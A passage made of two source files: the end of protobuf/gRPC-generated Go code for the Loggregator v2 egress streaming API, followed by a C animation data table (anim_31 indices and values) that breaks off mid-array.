m.Names\n\t}\n\treturn nil\n}\n\n// CounterSelector instructs Loggregator to egress Counter envelopes to the\n// given subscription\ntype CounterSelector struct {\n\t// Any egress Counter envelope must have the given name.\n\tName string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *CounterSelector) Reset() { *m = CounterSelector{} }\nfunc (m *CounterSelector) String() string { return proto.CompactTextString(m) }\nfunc (*CounterSelector) ProtoMessage() {}\nfunc (*CounterSelector) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_egress_fcae6bb65dce0d2e, []int{5}\n}\nfunc (m *CounterSelector) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_CounterSelector.Unmarshal(m, b)\n}\nfunc (m *CounterSelector) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_CounterSelector.Marshal(b, m, deterministic)\n}\nfunc (dst *CounterSelector) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_CounterSelector.Merge(dst, src)\n}\nfunc (m *CounterSelector) XXX_Size() int {\n\treturn xxx_messageInfo_CounterSelector.Size(m)\n}\nfunc (m *CounterSelector) XXX_DiscardUnknown() {\n\txxx_messageInfo_CounterSelector.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_CounterSelector proto.InternalMessageInfo\n\nfunc (m *CounterSelector) GetName() string {\n\tif m != nil {\n\t\treturn m.Name\n\t}\n\treturn \"\"\n}\n\n// TimerSelector instructs Loggregator to egress Timer envelopes to the given\n// subscription.\ntype TimerSelector struct {\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *TimerSelector) Reset() { *m = TimerSelector{} }\nfunc (m *TimerSelector) String() string { return proto.CompactTextString(m) }\nfunc (*TimerSelector) ProtoMessage() {}\nfunc (*TimerSelector) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_egress_fcae6bb65dce0d2e, []int{6}\n}\nfunc (m *TimerSelector) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_TimerSelector.Unmarshal(m, b)\n}\nfunc (m *TimerSelector) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_TimerSelector.Marshal(b, m, deterministic)\n}\nfunc (dst *TimerSelector) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_TimerSelector.Merge(dst, src)\n}\nfunc (m *TimerSelector) XXX_Size() int {\n\treturn xxx_messageInfo_TimerSelector.Size(m)\n}\nfunc (m *TimerSelector) XXX_DiscardUnknown() {\n\txxx_messageInfo_TimerSelector.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_TimerSelector proto.InternalMessageInfo\n\n// EventSelector instructs Loggregator to egress Event envelopes to the given\n// subscription.\ntype EventSelector struct {\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *EventSelector) Reset() { *m = EventSelector{} }\nfunc (m *EventSelector) String() string { return proto.CompactTextString(m) }\nfunc (*EventSelector) ProtoMessage() {}\nfunc (*EventSelector) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_egress_fcae6bb65dce0d2e, []int{7}\n}\nfunc (m *EventSelector) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_EventSelector.Unmarshal(m, b)\n}\nfunc (m *EventSelector) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_EventSelector.Marshal(b, m, deterministic)\n}\nfunc (dst *EventSelector) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_EventSelector.Merge(dst, src)\n}\nfunc (m *EventSelector) XXX_Size() int {\n\treturn xxx_messageInfo_EventSelector.Size(m)\n}\nfunc (m *EventSelector) XXX_DiscardUnknown() {\n\txxx_messageInfo_EventSelector.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_EventSelector proto.InternalMessageInfo\n\nfunc init() {\n\tproto.RegisterType((*EgressRequest)(nil), \"loggregator.v2.EgressRequest\")\n\tproto.RegisterType((*EgressBatchRequest)(nil), \"loggregator.v2.EgressBatchRequest\")\n\tproto.RegisterType((*Selector)(nil), \"loggregator.v2.Selector\")\n\tproto.RegisterType((*LogSelector)(nil), \"loggregator.v2.LogSelector\")\n\tproto.RegisterType((*GaugeSelector)(nil), \"loggregator.v2.GaugeSelector\")\n\tproto.RegisterType((*CounterSelector)(nil), \"loggregator.v2.CounterSelector\")\n\tproto.RegisterType((*TimerSelector)(nil), \"loggregator.v2.TimerSelector\")\n\tproto.RegisterType((*EventSelector)(nil), \"loggregator.v2.EventSelector\")\n}\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ context.Context\nvar _ grpc.ClientConn\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the grpc package it is being compiled against.\nconst _ = grpc.SupportPackageIsVersion4\n\n// EgressClient is the client API for Egress service.\n//\n// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://godoc.org/google.golang.org/grpc#ClientConn.NewStream.\ntype EgressClient interface {\n\tReceiver(ctx context.Context, in *EgressRequest, opts ...grpc.CallOption) (Egress_ReceiverClient, error)\n\tBatchedReceiver(ctx context.Context, in *EgressBatchRequest, opts ...grpc.CallOption) (Egress_BatchedReceiverClient, error)\n}\n\ntype egressClient struct {\n\tcc *grpc.ClientConn\n}\n\nfunc NewEgressClient(cc *grpc.ClientConn) EgressClient {\n\treturn &egressClient{cc}\n}\n\nfunc (c *egressClient) Receiver(ctx context.Context, in *EgressRequest, opts ...grpc.CallOption) (Egress_ReceiverClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &_Egress_serviceDesc.Streams[0], \"/loggregator.v2.Egress/Receiver\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &egressReceiverClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype Egress_ReceiverClient interface {\n\tRecv() (*Envelope, error)\n\tgrpc.ClientStream\n}\n\ntype egressReceiverClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *egressReceiverClient) Recv() (*Envelope, error) {\n\tm := new(Envelope)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *egressClient) BatchedReceiver(ctx context.Context, in *EgressBatchRequest, opts ...grpc.CallOption) (Egress_BatchedReceiverClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &_Egress_serviceDesc.Streams[1], \"/loggregator.v2.Egress/BatchedReceiver\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &egressBatchedReceiverClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype Egress_BatchedReceiverClient interface {\n\tRecv() (*EnvelopeBatch, error)\n\tgrpc.ClientStream\n}\n\ntype egressBatchedReceiverClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *egressBatchedReceiverClient) Recv() (*EnvelopeBatch, error) {\n\tm := new(EnvelopeBatch)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\n// EgressServer is the server API for Egress service.\ntype EgressServer interface {\n\tReceiver(*EgressRequest, Egress_ReceiverServer) error\n\tBatchedReceiver(*EgressBatchRequest, Egress_BatchedReceiverServer) error\n}\n\nfunc RegisterEgressServer(s *grpc.Server, srv EgressServer) {\n\ts.RegisterService(&_Egress_serviceDesc, srv)\n}\n\nfunc _Egress_Receiver_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(EgressRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(EgressServer).Receiver(m, &egressReceiverServer{stream})\n}\n\ntype Egress_ReceiverServer interface {\n\tSend(*Envelope) error\n\tgrpc.ServerStream\n}\n\ntype egressReceiverServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *egressReceiverServer) Send(m *Envelope) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _Egress_BatchedReceiver_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(EgressBatchRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(EgressServer).BatchedReceiver(m, &egressBatchedReceiverServer{stream})\n}\n\ntype Egress_BatchedReceiverServer interface {\n\tSend(*EnvelopeBatch) error\n\tgrpc.ServerStream\n}\n\ntype egressBatchedReceiverServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *egressBatchedReceiverServer) Send(m *EnvelopeBatch) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nvar _Egress_serviceDesc = grpc.ServiceDesc{\n\tServiceName: \"loggregator.v2.Egress\",\n\tHandlerType: (*EgressServer)(nil),\n\tMethods: []grpc.MethodDesc{},\n\tStreams: []grpc.StreamDesc{\n\t\t{\n\t\t\tStreamName: \"Receiver\",\n\t\t\tHandler: _Egress_Receiver_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName: \"BatchedReceiver\",\n\t\t\tHandler: _Egress_BatchedReceiver_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t},\n\tMetadata: \"egress.proto\",\n}\n\nfunc init() { proto.RegisterFile(\"egress.proto\", fileDescriptor_egress_fcae6bb65dce0d2e) }\n\nvar fileDescriptor_egress_fcae6bb65dce0d2e = []byte{\n\t// 502 bytes of a gzipped FileDescriptorProto\n\t0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe4, 0x94, 0xcf, 0x6e, 0xd3, 0x4e,\n\t0x10, 0xc7, 0xeb, 0xfc, 0xb5, 0x27, 0xbf, 0x24, 0xbf, 0xae, 0x38, 0x98, 0x54, 0x55, 0x2d, 0x4b,\n\t0x95, 0x72, 0x00, 0x83, 0xc2, 0x9f, 0x0b, 0x27, 0x82, 0xa2, 0x52, 0xa9, 0x20, 0x64, 0x7a, 0xe0,\n\t0x66, 0x2d, 0xf6, 0x74, 0x6b, 0xc9, 0xf1, 0x86, 0xdd, 0x75, 0xa4, 0x5e, 0xb9, 0xf0, 0x30, 0x3c,\n\t0x07, 0xef, 0x85, 0xbc, 0x1b, 0x37, 0xb6, 0x1b, 0x78, 0x01, 0x6e, 0x9e, 0xfd, 0x7e, 0x3f, 0xb3,\n\t0xb3, 0xe3, 0xd9, 0x85, 0xff, 0x90, 0x09, 0x94, 0x32, 0xd8, 0x08, 0xae, 0x38, 0x99, 0x64, 0x9c,\n\t0x31, 0x81, 0x8c, 0x2a, 0x2e, 0x82, 0xed, 0x62, 0x36, 0xc1, 0x7c, 0x8b, 0x19, 0xdf, 0xa0, 0xd1,\n\t0xfd, 0xef, 0x1d, 0x18, 0xaf, 0x34, 0x10, 0xe2, 0xb7, 0x02, 0xa5, 0x22, 0x8f, 0xc1, 0x96, 0xb7,\n\t0x54, 0x24, 0x51, 0x9a, 0xb8, 0x96, 0x67, 0xcd, 0x9d, 0x70, 0xa8, 0xe3, 0xcb, 0x84, 0x3c, 0x05,\n\t0x92, 0xa0, 0x42, 0xb1, 0x4e, 0xf3, 0x54, 0xaa, 0x34, 0x8e, 0x72, 0xba, 0x46, 0xb7, 0xaf, 0x4d,\n\t0xc7, 0x0d, 0xe5, 0x23, 0x5d, 0x23, 0x79, 0x0b, 0xd3, 0x0c, 0x19, 0x8d, 0xef, 0x22, 0x89, 0x19,\n\t0xc6, 0x8a, 0x0b, 0xb7, 0xe3, 0x59, 0xf3, 0xd1, 0xc2, 0x0d, 0x9a, 0x55, 0x05, 0x9f, 0x77, 0x7a,\n\t0x38, 0x31, 0x40, 0x15, 0x93, 0xd7, 0xe0, 0x54, 0xac, 0x74, 0x7b, 0x5e, 0xf7, 0xaf, 0xf0, 0xde,\n\t0x4a, 0x9e, 0x00, 0x29, 0x24, 0x46, 0x1b, 0x81, 0x37, 0x28, 0x04, 0x26, 0x91, 0xa2, 0x4c, 0xba,\n\t0x5d, 0xcf, 0x9a, 0xdb, 0xe1, 0xff, 0x85, 0xc4, 0x4f, 0x95, 0x70, 0x4d, 0x99, 0xf4, 0x7f, 0x74,\n\t0x80, 0x98, 0x26, 0x2c, 0xa9, 0x8a, 0x6f, 0xff, 0xe1, 0x4e, 0xfc, 0xea, 0x80, 0x7d, 0xbf, 0xe5,\n\t0x09, 0x38, 0x92, 0x17, 0x22, 0xc6, 0x7d, 0x03, 0x6c, 0xb3, 0x70, 0x99, 0x90, 0x67, 0xd0, 0xcd,\n\t0x38, 0xdb, 0x1d, 0xe3, 0xa4, 0x5d, 0xc9, 0x15, 0x67, 0x55, 0x9a, 0xf7, 0x47, 0x61, 0xe9, 0x24,\n\t0x6f, 0x60, 0x18, 0xf3, 0x22, 0x57, 0x28, 0xf4, 0xee, 0xa3, 0xc5, 0x59, 0x1b, 0x7a, 0x67, 0xe4,\n\t0x1a, 0x58, 0x11, 0xe4, 0x15, 0xf4, 0x19, 0x2d, 0x18, 0xba, 0x3d, 0x8d, 0x9e, 0xb6, 0xd1, 0x8b,\n\t0x52, 0xac, 0x81, 0xc6, 0x5d, 0x62, 0x2a, 0x5d, 0xa3, 0xd0, 0x7f, 0xe6, 0x00, 0x76, 0x5d, 0x8a,\n\t0x75, 0x4c, 0xbb, 0x4b, 0x0c, 0xb7, 0x98, 0x2b, 0x77, 0x70, 0x18, 0x5b, 0x95, 0x62, 0x1d, 0xd3,\n\t0xee, 0xa5, 0x03, 0xc3, 0x0f, 0x28, 0x25, 0x65, 0xe8, 0x8f, 0x61, 0x54, 0x6b, 0x81, 0x7f, 0x0e,\n\t0xe3, 0x46, 0x85, 0xe4, 0x11, 0xf4, 0xcb, 0x89, 0x91, 0xae, 0xe5, 0x75, 0xe7, 0x4e, 0x68, 0x02,\n\t0xff, 0x1c, 0xa6, 0xad, 0x1e, 0x10, 0x02, 0x3d, 0x3d, 0x5a, 0xa6, 0xfd, 0xfa, 0xdb, 0x9f, 0xc2,\n\t0xb8, 0x51, 0x78, 0xb9, 0xd0, 0x28, 0x69, 0xf1, 0xd3, 0x82, 0x81, 0x19, 0x68, 0x72, 0x01, 0x76,\n\t0x88, 0x31, 0xa6, 0x5b, 0x14, 0xe4, 0xe1, 0x41, 0xea, 0x37, 0x7f, 0xf6, 0x60, 0x9e, 0x56, 0xbb,\n\t0xb7, 0xc2, 0x3f, 0x7a, 0x6e, 0x91, 0x2f, 0x30, 0xd5, 0xb7, 0x03, 0x93, 0xfb, 0x7c, 0xfe, 0xe1,\n\t0x7c, 0xf5, 0x4b, 0x34, 0x3b, 0xfd, 0x53, 0x52, 0xed, 0x2a, 0x33, 0x2f, 0x5f, 0xc2, 0x19, 0x17,\n\t0x2c, 0x88, 0x33, 0x5e, 0x24, 0x37, 0xbc, 0xc8, 0x13, 0x71, 0xd7, 0x82, 0x96, 0xc7, 0x57, 0xfb,\n\t0xd8, 0x6c, 0xf2, 0x75, 0xa0, 0x1f, 0xb0, 0x17, 0xbf, 0x03, 0x00, 0x00, 0xff, 0xff, 0x04, 0xbd,\n\t0xa8, 0xa8, 0xf0, 0x04, 0x00, 0x00,\n}\n"} +{"text": "static const struct Animation anim_31[] = {\n 1,\n 189,\n 0,\n 0,\n 0x8C,\n ANIMINDEX_NUMPARTS(anim_31_indices),\n anim_31_values,\n anim_31_indices,\n 0,\n};\n\n\nstatic const u16 anim_31_indices[] = {\n 0x0001, 0x0000, 0x008C, 0x0001, 0x008C, 0x008D, 0x0001, 0x0000, 0x0001, 0x0119, 0x0001, 0x0000,\n 0x0001, 0x0000, 0x008C, 0x13BA, 0x008C, 0x1446,\n 0x008C, 0x1216, 0x008C, 0x12A2, 0x008C, 0x132E,\n 0x008C, 0x1072, 0x008C, 0x10FE, 0x008C, 0x118A,\n 0x0001, 0x106E, 0x0001, 0x106F, 0x0001, 0x1070,\n 0x008C, 0x034A, 0x008C, 0x03D6, 0x008C, 0x0462,\n 0x0001, 0x0000, 0x0001, 0x0000, 0x008C, 0x02BE,\n 0x008C, 0x011A, 0x008C, 0x01A6, 0x008C, 0x0232,\n 0x0001, 0x106A, 0x0001, 0x106B, 0x0001, 0x106C,\n 0x008C, 0x071E, 0x008C, 0x07AA, 0x008C, 0x0836,\n 0x0001, 0x0000, 0x0001, 0x0000, 0x008C, 0x0692,\n 0x008C, 0x04EE, 0x008C, 0x057A, 0x008C, 0x0606,\n 0x0001, 0x0000, 0x0001, 0x0000, 0x0001, 0x106D,\n 0x008C, 0x0EC6, 0x008C, 0x0F52, 0x008C, 0x0FDE,\n 0x0001, 0x0000, 0x0001, 0x0000, 0x008C, 0x0E3A,\n 0x008C, 0x0C96, 0x008C, 0x0D22, 0x008C, 0x0DAE,\n 0x0001, 0x0000, 0x0001, 0x0000, 0x0001, 0x1071,\n 0x008C, 0x0AF2, 0x008C, 0x0B7E, 0x008C, 0x0C0A,\n 0x0001, 0x0000, 0x0001, 0x0000, 0x008C, 0x0A66,\n 0x008C, 0x08C2, 0x008C, 0x094E, 0x008C, 0x09DA,\n};\n\nstatic const s16 anim_31_values[] = {\n 0x0000, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA,\n 0x00AA, 0x00AA, 0x00AB, 0x00AB, 0x00AB, 0x00AB, 0x00AB, 0x00AC,\n 0x00AC, 0x00AC, 0x00AC, 0x00AC, 0x00AD, 0x00AD, 0x00AD, 0x00AD,\n 0x00AE, 0x00AE, 0x00AE, 0x00AE, 0x00AF, 0x00AF, 0x00AF, 0x00AF,\n 0x00AF, 0x00B0, 0x00B0, 0x00B0, 0x00B0, 0x00B0, 0x00B1, 0x00B1,\n 0x00B1, 0x00B1, 0x00B1, 0x00B1, 0x00B1, 0x00B1, 0x00B0, 0x00AF,\n 0x00AE, 0x00AD, 0x00AC, 0x00AB, 0x00AA, 0x00AA, 0x00AA, 0x00AB,\n 0x00AC, 0x00AD, 0x00AD, 0x00AD, 0x00AC, 0x00A9, 0x00A2, 0x009C,\n 0x0099, 0x009A, 0x009D, 0x00A0, 0x00A4, 0x00A6, 0x00A7, 0x00A7,\n 0x00A8, 0x00A9, 0x00A9, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA,\n 0x00AA, 0x00AA, 0x00A9, 0x00A8, 0x00A7, 0x00A3, 0x009F, 0x009B,\n 0x0098, 0x0097, 0x0098, 0x009A, 0x009E, 0x00A2, 0x00A5, 0x00A8,\n 0x00A9, 0x00AA, 0x00AA, 0x00AA, 0x00AB, 0x00AB, 0x00AB, 0x00AB,\n 0x00AB, 0x00AC, 0x00AC, 0x00AC, 0x00AC, 0x00AC, 0x00AC, 0x00AC,\n 0x00AC, 0x00AC, 0x00AC, 0x00AC, 0x00AC, 0x00AC, 0x00AC, 0x00AC,\n 0x00AC, 0x00AB, 0x00AB, 0x00AB, 0x00AB, 0x00AB, 0x00AB, 0x00AB,\n 0x00AB, 0x00AB, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA,\n 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x0000, 0x0000, 0x0000,\n 0x0001, 0x0001, 0x0002, 0x0003, 0x0003, 0x0004, 0x0005, 0x0005,\n 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005,\n 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0005, 0x0004, 0x0004,\n 0x0004, 0x0004, 0x0004, 0x0004, 0x0004, 0x0003, 0x0003, 0x0003,\n 0x0003, 0x0002, 0x0002, 0x0002, 0x0001, 0x0001, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x3FFF, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0044, 0x00CD, 0x0134,\n 0x0112, 0x0000, 0xFDF6, 0xFB50, 0xF844, 0xF502, 0xF1BE, 0xEEAA,\n 0xEBF9, 0xE9DE, 0xE88B, 0xE7CA, 0xE743, 0xE6EE, 0xE6C4, 0xE6C0,\n 0xE6DB, 0xE70F, 0xE755, 0xE7A7, 0xE7FF, 0xE856, 0xE8A5, 0xE8E8,\n 0xE916, 0xE92B, 0xE91E, 0xE8EB, 0xE88B, 0xE7A6, 0xE615, 0xE414,\n 0xE1DF, 0xDFB5, 0xDDD1, 0xDC87, 0xDC8C, 0xDCDD, 0xDD05, 0xDD64,\n 0xDDDB, 0xDE45, 0xDE83, 0xDE73, 0xDDF1, 0xDCDD, 0xDB6D, 0xD9EB,\n 0xD85B, 0xD6BB, 0xD50E, 0xD355, 0xD191, 0xCFC2, 0xCDEA, 0xCC0A,\n 0xCA23, 0xC836, 0xC643, 0xC44D, 0xC254, 0xC059, 0xBE5D, 0xBC61,\n 0xBA67, 0xB86F, 0xB67A, 0xB48A, 0xB29F, 0xB0BB, 0xAEDE, 0xAD0A,\n 0xAAAB, 0xA877, 0xA861, 0xAE9A, 0xB522, 0xB407, 0xB15A, 0xB128,\n 0xB187, 0xB1D4, 0xB231, 0xB280, 0xB2CF, 0xB323, 0xB357, 0xB344,\n 0xB229, 0xB000, 0xADBE, 0xAC56, 0xACBB, 0xAFE1, 0xB84E, 0xC59A,\n 0xD45C, 0xE127, 0xE88F, 0xEBE6, 0xEECB, 0xF146, 0xF363, 0xF52A,\n 0xF6A6, 0xF7E0, 0xF8E3, 0xF9B8, 0xFA6A, 0xFB01, 0xFB88, 0xFC09,\n 0xFC8E, 0xFD20, 0xFDC9, 0xFE93, 0xFF52, 0xFFD6, 0x0028, 0x0053,\n 0x005F, 0x0054, 0x003D, 0x0021, 0x0009, 0x0000, 0xF97C, 0xF97C,\n 0xF97C, 0xF97C, 0xF97C, 0xF97C, 0xF97C, 0xF97C, 0xF97C, 0xF97C,\n 0xF97C, 0xF97C, 0xF97C, 0xF97C, 0xF97C, 0xF97C, 0xF97C, 0xF97B,\n 0xF97B, 0xF97B, 0xF97B, 0xF97B, 0xF97B, 0xF97A, 0xF97A, 0xF97E,\n 0xF989, 0xF99A, 0xF9AF, 0xF9C6, 0xF9DF, 0xF9F8, 0xFA10, 0xFA25,\n 0xFA36, 0xFA41, 0xFA45, 0xFA40, 0xFA32, 0xFA18, 0xF9F2, 0xF9BE,\n 0xF97A, 0xF8EC, 0xF7F1, 0xF6AF, 0xF54E, 0xF3F3, 0xF2C4, 0xF1F6,\n 0xF1F9, 0xF22C, 0xF23A, 0xF25C, 0xF285, 0xF2AB, 0xF2C1, 0xF2BB,\n 0xF28D, 0xF22C, 0xF1A7, 0xF117, 0xF07D, 0xEFDA, 0xEF2F, 0xEE7D,\n 0xEDC6, 0xED09, 0xEC49, 0xEB86, 0xEAC1, 0xE9FC, 0xE938, 0xE875,\n 0xE7B5, 0xE6F8, 0xE641, 0xE58F, 0xE4E4, 0xE441, 0xE3A8, 0xE319,\n 0xE294, 0xE21C, 0xE1B2, 0xE156, 0xE31B, 0xE6B7, 0xE89B, 0xE4BF,\n 0xE094, 0xE27D, 0xE582, 0xE5ED, 0xE658, 0xE8C6, 0xEBA8, 0xECBF,\n 0xEAF2, 0xE7A4, 0xE44F, 0xE268, 0xE1CF, 0xE17E, 0xE198, 0xE241,\n 0xE39D, 0xE5CF, 0xEA09, 0xF054, 0xF719, 0xFCBF, 0xFFAE, 0x0096,\n 0x013F, 0x01AC, 0x01E4, 0x01EE, 0x01CF, 0x018D, 0x012F, 0x00BB,\n 0x0036, 0xFFA9, 0xFF17, 0xFE86, 0xFDFF, 0xFD85, 0xFD20, 0xFCD6,\n 0xFC8F, 0xFC32, 0xFBC6, 0xFB53, 0xFAE0, 0xFA72, 0xFA10, 0xF9C2,\n 0xF98E, 0xF97C, 0xED8C, 0xED8C, 0xED8C, 0xED8C, 0xED8C, 0xED8C,\n 0xED8C, 0xED8C, 0xED8C, 0xED8C, 0xED8C, 0xEDA6, 0xEDDA, 0xEE01,\n 0xEDF4, 0xED8C, 0xECC5, 0xEBC4, 0xEA9B, 0xE95E, 0xE821, 0xE6F5,\n 0xE5F0, 0xE523, 0xE4A2, 0xE454, 0xE415, 0xE3E2, 0xE3BB, 0xE39F,\n 0xE38E, 0xE386, 0xE386, 0xE38F, 0xE39E, 0xE3B2, 0xE3CC, 0xE3EB,\n 0xE40C, 0xE430, 0xE455, 0xE47C, 0xE4A2, 0xE4E9, 0xE565, 0xE605,\n 0xE6B4, 0xE761, 0xE7F7, 0xE85E, 0xE85C, 0xE843, 0xE824, 0xE7D9,\n 0xE77D, 0xE729, 0xE6F8, 0xE706, 0xE76B, 0xE843, 0xE95E, 0xEA7D,\n 0xEBA0, 0xECC7, 0xEDF2, 0xEF22, 0xF058, 0xF194, 0xF2D6, 0xF41F,\n 0xF56F, 0xF6C7, 0xF827, 0xF990, 0xFB02, 0xFC7D, 0xFE02, 0xFF92,\n 0x012B, 0x02D1, 0x0482, 0x0640, 0x080A, 0x09E1, 0x0BC6, 0x0DB8,\n 0x13BA, 0x1CD2, 0x2188, 0x1895, 0x0DDF, 0x1022, 0x138C, 0x0E24,\n 0x091B, 0x0B2D, 0x0F60, 0x1159, 0x0F56, 0x0B89, 0x078F, 0x0505,\n 0x04A3, 0x0582, 0x06C6, 0x0797, 0x071C, 0x0479, 0xFDA3, 0xF303,\n 0xE778, 0xDDE1, 0xD91B, 0xD7F1, 0xD73C, 0xD6F1, 0xD703, 0xD769,\n 0xD817, 0xD901, 0xDA1D, 0xDB5F, 0xDCBC, 0xDE28, 0xDF9A, 0xE104,\n 0xE25D, 0xE398, 0xE4AB, 0xE58A, 0xE661, 0xE757, 0xE862, 0xE973,\n 0xEA7D, 0xEB74, 0xEC4B, 0xECF4, 0xED64, 0xED8C, 0xCA4F, 0xCA84,\n 0xCB16, 0xCBF3, 0xCD07, 0xCE3F, 0xCF8A, 0xD0D4, 0xD38A, 0xD6C5,\n 0xD6F1, 0xD2DF, 0xCCBC, 0xC5FB, 0xC012, 0xBC75, 0xBAD2, 0xB9CB,\n 0xB948, 0xB92D, 0xB961, 0xB9CA, 0xBA4E, 0xBAD2, 0xBB3C, 0xBB93,\n 0xBBEE, 0xBC4D, 0xBCB2, 0xBD1C, 0xBD8C, 0xBE03, 0xBE81, 0xBF07,\n 0xBF95, 0xC02C, 0xC0CC, 0xC176, 0xC22A, 0xC2E9, 0xC3B3, 0xC489,\n 0xC56C, 0xC6A7, 0xC866, 0xCA77, 0xCCAA, 0xCECC, 0xD0AC, 0xD1FF,\n 0xD1FA, 0xD1A5, 0xD197, 0xD175, 0xD14B, 0xD125, 0xD10F, 0xD115,\n 0xD143, 0xD1A5, 0xD22E, 0xD2CB, 0xD378, 0xD433, 0xD4FB, 0xD5CD,\n 0xD6A8, 0xD78A, 0xD870, 0xD958, 0xDA41, 0xDB28, 0xDC0C, 0xDCEA,\n 0xDDC1, 0xDE8E, 0xDF4F, 0xE002, 0xE0A6, 0xE139, 0xE1B7, 0xE220,\n 0xE271, 0xE2A8, 0xE2C4, 0xE2C1, 0xDDAA, 0xD45E, 0xCF9B, 0xD190,\n 0xD5CF, 0xDB2F, 0xE086, 0xE4A8, 0xE66C, 0xE66B, 0xE60D, 0xE558,\n 0xE457, 0xE311, 0xE18F, 0xDFDA, 0xDDFA, 0xDBF8, 0xD9DD, 0xD7B0,\n 0xD57B, 0xD346, 0xD052, 0xCC3D, 0xC797, 0xC2F5, 0xBEE7, 0xBB2C,\n 0xB762, 0xB3ED, 0xB12E, 0xAF89, 0xB0DF, 0xB48C, 0xB729, 0xB7EF,\n 0xB86C, 0xB8B5, 0xB8E0, 0xB902, 0xB931, 0xB981, 0xBA09, 0xBADE,\n 0xBC1D, 0xBDC3, 0xBFAF, 0xC1C1, 0xC3D9, 0xC5D7, 0xC79C, 0xC907,\n 0xC9F8, 0xCA4F, 0xFB1D, 0xFAB7, 0xF9A2, 0xF80B, 0xF61F, 0xF409,\n 0xF1F7, 0xF016, 